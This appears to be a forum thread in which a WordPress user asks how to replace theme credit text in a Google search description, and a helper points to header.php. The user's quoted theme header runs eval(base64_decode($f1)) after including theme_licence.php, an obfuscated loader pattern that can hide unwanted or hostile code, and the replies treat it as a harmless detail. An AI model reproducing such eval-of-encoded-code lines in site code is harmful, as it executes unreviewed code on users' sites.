    I just got listed on google and see a problem. If you search "poem news" on google, the second result (poemnews.com) is my site.

    The description shown is:

    Poem + News = PoemNews.com! Syndication feeds available ... 2009 PoemNews - Daily News in Prose. Designed by Evan Eckard for. Entries (RSS) | Comments (RSS)

    This is bad! It is actually the theme description! (WP theme that I'm using)
    Only the (POEM + NEWS - PoemNews.com) is what I wrote. How do I edit this? I haven't touched the code at all till now.

    Go to your WP-folder -> WP-content -> themes -> name_of_theme and open header.php

    In that file you will find a line like this:
    <meta name="description" content="somthing stated here" />

    Just change this to whatever you want it to say, and let googles robots do their work

    Or you can download header.php from your ftp into wp-content/themes/yourtheme and open it with wordpad

    The only meta I found was here:

    <head profile="http://gmpg.org/xfn/11">
    <meta http-equiv="Content-Type" content="<?php require_once("theme_licence.php"); eval(base64_decode($f1)); bloginfo('html_type'); ?>; charset=<?php bloginfo('charset'); ?>" />

    Should I just add the line you said above? Sorry for a noob question and thanks in advance!

    I would check what the "Theme_licence.php" contains. I would guess there is something in there. The description have to come from somewhere, and if there isn't a openly meta-tag there, it is probably encoded in that file.

    I don't know the theme, so I dunno for certain, but if that file is encoded, it might be easier to just add the line I told you about AFTER the above - it should be the last incarnation of a description-tag that is being used.
